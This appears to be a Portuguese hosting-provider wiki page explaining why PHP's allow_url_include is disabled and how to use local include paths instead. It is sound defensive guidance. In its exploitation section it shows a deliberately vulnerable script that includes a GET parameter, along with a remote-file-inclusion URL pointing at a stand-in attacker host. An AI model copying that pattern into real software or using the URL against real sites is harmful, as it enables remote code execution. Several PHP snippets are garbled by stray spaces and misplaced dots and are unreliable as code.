Allow url include

De Wiki Integrator do Brasil
Ir para: navegação, pesquisa
Phppromo-2021.jpg



Índice

Visão Geral

A opção allow_url_include PHP normalmente permite que um programador inclua () um arquivo remoto (como código PHP) usando uma URL em vez de um caminho de arquivo local. Por razões de segurança, a Integrador tem desativado esta ferramenta. Se um script exige esse recurso, você deve olhar para software alternativo, pois o uso deste recurso indica sérias falhas de projeto.

Por que isso é ruim?

Há uma série de razões pelas quais URL include sempre devem ser evitadas:

  • É inseguro - pois sua aplicação pode ser enganada incluindo o conteúdo a partir de uma URL fora de si (e há uma série de maneiras comuns isso pode acontecer), um invasor pode forçar o aplicativo para iniciar a execução de código a partir de seu próprio site.
  • É ineficiente - se o seu script PHP inclui conteúdo a patir de uma URL, o servidor web deve fazer solicitações HTTP para gerar a página. Isso faz com que o carregamento da página fique muito mais lento do que o necessário, especialmente se o site que você está carregando conteúdo está respondendo lentamente.
  • É incerto, pelas mesmas razões - se o servidor web que você está carregando o conteúdo ocasionalmente não responder, o site também às vezes falha ao carregar corretamente.
  • Geralmente é desnecessária - na maioria dos casos, allow_url_include pode ser evitado, incluindo o conteúdo diretamente (se ele está sendo carregado a partir de um domínio que você hospedar) ou carregar e imprimir o conteúdo sem avaliá-lo como PHP.

Server-side includes

Muitos desenvolvedores de include de arquivos, apontam para uma URL remota, mesmo se o arquivo estiver no sistema local. Por exemplo:

<?php include(“http://example.com/includes/example_include.php"); ?>

Com allow_url_include deficiente, este método não funciona. Em vez disso, o arquivo deve ser incluído com um caminho local, e existem três métodos de se fazer isso:

  1. Ao usar um caminho relativo, como ../includes/example_include.php.
  2. Usando um caminho absoluto (também conhecido como relativo-da-raiz), tais como /home/username/example.com/includes/example_include.php.
  3. Ao usar o ambiente PHP variável $ _SERVER ['DOCUMENT_ROOT'], que retorna o caminho absoluto para o diretório raiz web. Esta é de longe a melhor solução (e mais portátil). O exemplo a seguir mostra a variável de ambiente em ação.

Exemplo Include

<?php include($ _ SERVER ['DOCUMENT_ROOT'] "/ includes / example_include.php".); ?>

Diferenças de processamento (e variáveis que passam para um arquivo include)

Vale ressaltar que as soluções alternativas apresentadas aqui resulta em uma diferença na forma como a include (função) é tratado. As soluções alternativas retornam o código PHP a partir da página incluída. No entanto, o método de URL remota agora indisponíveis-retorna o resultado a partir da página incluída. Um resultado desse comportamento é que você não pode passar uma seqüência de consulta usando as soluções alternativas. Define-se as variáveis localmente antes de realizar o include, como pode ser visto no exemplo a seguir.

Exemplo

Para conseguir o efeito do seguinte conteúdo:

<?php include(“http://example.com/includes/example_include.php?var=example"); ?>

você deverá usar da seguinte forma:

<?php
$var = "exemplo";
include(. $ _ SERVER ['DOCUMENT_ROOT'] "/ includes / example_include.php");
?>

Adicionando flexibilidade

Para uma flexibilidade máxima (quando múltiplos includes são necessários, por exemplo), pode ser mais fácil criar uma variável:

<?php
$doc_root = $ _SERVER ['DOCUMENT_ROOT'];
include("$ doc_root / inclui / example_include.php");
include("$ doc_root / inclui / example_include2.php");
include("$ doc_root / inclui / example_include3.php");
include("$ doc_root / inclui / example_include4.php");
?>

NOTA: A técnica funciona da mesma maneira, independentemente de se você estiver usando o include () ou require ().


Definindo o include_path

Você também pode definir explicitamente a diretiva do PHP, "include_path", na mosca:

<?php
ini_set('include_path', ini_get('include_path').':'.$_SERVER['DOCUMENT_ROOT'].'/includes');
include('example_include.php');
include('example_include2.php');
include('example_include3.php');
include('example_include4.php');
?>

Exemplo de exploração

Um uso comum do server-side includes é criar algum tipo de modelo de site. Muitas vezes, uma única página com um cabeçalho e um rodapé é alimentado de diferentes conteúdo usando uma sequência de consulta. Aqui está um exemplo típico de script:

<?php
$page = ($_GET['page']) ? $_GET['page'] : "default.php";
?>
<html>
 <head>
  <title>This page is easy to exploit</title>
 </head>
 <body>
header...
<?php include($page); ?>
 footer...
 </body>
</html>

O conteúdo da página pode ser variado, anexando uma cadeia de consulta para o URL:

http://example.com/index.php?page=varied.php

Se allow_url_include está ativado, este sistema pode ser explorado simplesmente mudando o valor da variável na cadeia de consulta:

http://example.com/index.php?page=http://crackerscum.net/evilscript.txt?

Nota final

Apenas diga não. Ativar o allow_url_include é uma péssima idéia que expõe o seu site, e os sites de outros em seu servidor compartilhado, a riscos desnecessários.